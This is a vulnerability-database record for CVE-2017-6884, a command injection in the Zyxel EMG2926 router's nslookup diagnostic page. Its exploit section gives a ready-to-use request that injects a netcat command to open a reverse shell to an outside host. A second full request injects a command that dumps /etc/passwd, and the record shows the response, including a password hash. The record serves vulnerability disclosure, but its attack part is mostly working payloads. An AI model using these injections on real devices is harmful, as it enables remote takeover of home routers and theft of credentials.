ID

VAR-E-201704-0138


CVE

cve_id:CVE-2017-6884

Trust: 1.5

sources: PACKETSTORM: 141900 // EXPLOIT-DB: 41782

EDB ID

41782


TITLE

Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 41782

DESCRIPTION

Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection. CVE-2017-6884 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 41782

AFFECTED PRODUCTS

vendor:zyxelmodel:emg2926 v1.00 b8scope:ltversion: -

Trust: 1.6

vendor:zyxelmodel:emg2926scope:eqversion:/

Trust: 0.5

sources: PACKETSTORM: 141900 // EXPLOIT-DB: 41782 // EDBNET: 92364

EXPLOIT

# Exploit Title: Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection
# Date: 2017-04-02
# Exploit Author: Fluffy Huffy (trevor Hough)
# Vendor Homepage: www.zyxel.com
# Version: EMG2926 - V1.00(AAQT.4)b8
# Tested on: linux
# CVE : CVE-2017-6884

OS command injection vulnerability was discovered in a commonly used
home router (zyxel - EMG2926 - V1.00(AAQT.4)b8). The vulnerability is located in the diagnostic tools
specify the nslookup function. A malicious user may exploit numerous
vectors to execute arbitrary commands on the router.

Exploit (Reverse Shell)
https://192.168.0.1/cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&
ping_ip=google.ca%20%3B%20nc%20192.168.0.189%204040%20-e%20/p

Exploit (Dump Password File)
Request
GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20cat%20/etc/passwd&server_ip= HTTP/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup
Accept-Language: en-US,en;q=0.8
Cookie: csd=9; sysauth=<Clipped>
Connection: close

Response (Clipped)
<textarea cols="80" rows="15" readonly="true">root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
supervisor:$1$RM8l7snU$KW2C58L2Ijt0th1ThR70q0:0:0:supervisor:/:/bin/ash
admin:$1$<Clipped>:0:0:admin:/:/bin/fail

Trust: 1.0

sources: EXPLOIT-DB: 41782

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 41782

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 41782

TYPE

OS Command Injection

Trust: 1.6

sources: EXPLOIT-DB: 41782 // EDBNET: 92364

TAGS

tag:exploit

Trust: 0.5

sources: PACKETSTORM: 141900

CREDITS

trevor Hough

Trust: 0.6

sources: EXPLOIT-DB: 41782

EXTERNAL IDS

db:EXPLOIT-DBid:41782

Trust: 1.6

db:NVDid:CVE-2017-6884

Trust: 1.5

db:EDBNETid:92364

Trust: 0.6

db:PACKETSTORMid:141900

Trust: 0.5

sources: PACKETSTORM: 141900 // EXPLOIT-DB: 41782 // EDBNET: 92364

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2017-6884

Trust: 1.5

url:https://www.exploit-db.com/exploits/41782/

Trust: 0.6

sources: PACKETSTORM: 141900 // EXPLOIT-DB: 41782 // EDBNET: 92364

SOURCES

db:PACKETSTORMid:141900
db:EXPLOIT-DBid:41782
db:EDBNETid:92364

LAST UPDATE DATE

2022-07-27T09:58:27.992000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:141900date:2017-04-02T03:22:22
db:EXPLOIT-DBid:41782date:2017-04-02T00:00:00
db:EDBNETid:92364date:2017-04-03T00:00:00